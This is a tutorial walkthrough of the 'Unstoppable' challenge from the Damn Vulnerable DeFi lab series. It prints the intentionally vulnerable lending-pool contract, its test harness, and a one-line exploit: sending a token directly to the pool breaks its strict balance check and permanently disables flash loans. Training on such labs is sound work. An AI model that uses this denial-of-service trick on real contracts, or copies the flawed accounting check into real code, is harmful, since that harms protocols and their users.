Damn Vulnerable DeFi is a series of DeFi smart contract attack challenges. The content includes flash loan attacks, lending pools, on-chain oracles, and more. Before starting, you need to have skills in Solidity and JavaScript. Your task for each challenge is to ensure that the unit tests for that challenge pass.
First, execute the following commands:
# Clone the repository
git clone https://github.com/tinchoabbate/damn-vulnerable-defi.git
# Switch to the branch
git checkout v2.2.0
# Install dependencies
yarn
In the test files (*.challenge.js) in the test directory, write your solution and then run yarn run [challenge name]. If there are no errors, the challenge is passed.
Let's start with the first challenge, Unstoppable.
Challenge Description:
There is a lending pool with a balance of 1 million DVT tokens. It provides the functionality of flash loans for free. You need to find a way to attack the lending pool and disable its functionality.
The smart contract for this challenge consists of two files:
UnstoppableLender.sol - Lending pool contract
contract UnstoppableLender is ReentrancyGuard {
IERC20 public immutable damnValuableToken; // Instance of DVT token
uint256 public poolBalance; // Current balance of DVT tokens in this contract
constructor(address tokenAddress) {
require(tokenAddress != address(0), "Token address cannot be zero");
damnValuableToken = IERC20(tokenAddress); // Create an instance of the DVT token contract using the token address
}
// Deposit tokens into this contract
function depositTokens(uint256 amount) external nonReentrant {
require(amount > 0, "Must deposit at least one token");
damnValuableToken.transferFrom(msg.sender, address(this), amount); // Transfer the specified amount of tokens from the caller's balance to this contract
poolBalance = poolBalance + amount; // Increase the balance
}
// Flash loan function
function flashLoan(uint256 borrowAmount) external nonReentrant {
require(borrowAmount > 0, "Must borrow at least one token");
uint256 balanceBefore = damnValuableToken.balanceOf(address(this)); // Get the balance of tokens in this contract
require(balanceBefore >= borrowAmount, "Not enough tokens in pool"); // Ensure that the balance is greater than or equal to the borrowed amount
assert(poolBalance == balanceBefore); // Ensure that the recorded balance matches the actual balance
damnValuableToken.transfer(msg.sender, borrowAmount); // Transfer the borrowed tokens to the caller
IReceiver(msg.sender).receiveTokens(address(damnValuableToken), borrowAmount); // Call the receiveTokens function of the caller
uint256 balanceAfter = damnValuableToken.balanceOf(address(this)); // Get the balance of tokens in this contract after the flash loan
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back"); // Ensure that the tokens have been paid back
}
}
ReceiverUnstoppable.sol - Contract to execute the flash loan
import "../unstoppable/UnstoppableLender.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract ReceiverUnstoppable {
UnstoppableLender private immutable pool; // Instance of the lending pool
address private immutable owner;
constructor(address poolAddress) {
pool = UnstoppableLender(poolAddress);
owner = msg.sender;
}
// Pool will call this function during the flash loan
function receiveTokens(address tokenAddress, uint256 amount) external {
require(msg.sender == address(pool), "Sender must be pool");
require(IERC20(tokenAddress).transfer(msg.sender, amount), "Transfer of tokens failed");
}
// Execute the flash loan
function executeFlashLoan(uint256 amount) external {
require(msg.sender == owner, "Only owner can execute flash loan");
pool.flashLoan(amount);
}
}
The smart contracts are simple. There is a lending pool contract where tokens can be deposited and flash loans can be executed. There is also a contract to execute the flash loan, which can call the flashLoan function of the lending pool contract to borrow tokens and return them in its callback function.
To make the lending pool functionality fail, you need to write your attack code in the test/unstoppable/unstoppable.challenge.js file.
const { ethers } = require('hardhat')
const { expect } = require('chai')
describe('[Challenge] Unstoppable', function () {
let deployer, attacker, someUser
// Pool has 1M * 10**18 tokens
const TOKENS_IN_POOL = ethers.utils.parseEther('1000000')
const INITIAL_ATTACKER_TOKEN_BALANCE = ethers.utils.parseEther('100')
before(async function () {
/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
[deployer, attacker, someUser] = await ethers.getSigners()
const DamnValuableTokenFactory = await ethers.getContractFactory('DamnValuableToken', deployer)
const UnstoppableLenderFactory = await ethers.getContractFactory('UnstoppableLender', deployer)
this.token = await DamnValuableTokenFactory.deploy()
this.pool = await UnstoppableLenderFactory.deploy(this.token.address)
await this.token.approve(this.pool.address, TOKENS_IN_POOL)
await this.pool.depositTokens(TOKENS_IN_POOL)
await this.token.transfer(attacker.address, INITIAL_ATTACKER_TOKEN_BALANCE)
expect(
await this.token.balanceOf(this.pool.address)
).to.equal(TOKENS_IN_POOL)
expect(
await this.token.balanceOf(attacker.address)
).to.equal(INITIAL_ATTACKER_TOKEN_BALANCE)
const ReceiverContractFactory = await ethers.getContractFactory('ReceiverUnstoppable', someUser)
this.receiverContract = await ReceiverContractFactory.deploy(this.pool.address)
await this.receiverContract.executeFlashLoan(10)
})
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
await this.token.connect(attacker).transfer(this.pool.address, 1)
})
after(async function () {
/** SUCCESS CONDITIONS */
// It is no longer possible to execute flash loans
await expect(
this.receiverContract.executeFlashLoan(10)
).to.be.reverted
})
})
This test script does the following:
- Transfers 1 million tokens to the lending pool from the deployer's account
- Transfers 100 tokens to the attacker's account from the deployer's account
- Executes a flash loan of 10 tokens and returns them in the callback function
- Transfers 1 token from the attacker's account to the lending pool
- Attempts to execute another flash loan, which should fail
The line await this.token.connect(attacker).transfer(this.pool.address, 1) causes the flash loan functionality to fail. This is because the flashLoan function in the lending pool contract expects the poolBalance variable to be equal to the actual balance of tokens in the contract. When tokens are deposited using the depositTokens function, the poolBalance variable is correctly updated. However, when tokens are manually transferred to the lending pool, the poolBalance variable is not updated accordingly. Therefore, the actual balance of tokens in the lending pool contract is greater than the poolBalance variable, causing the flash loan functionality to fail.
Finally, execute yarn unstoppable to run the test. The test should pass!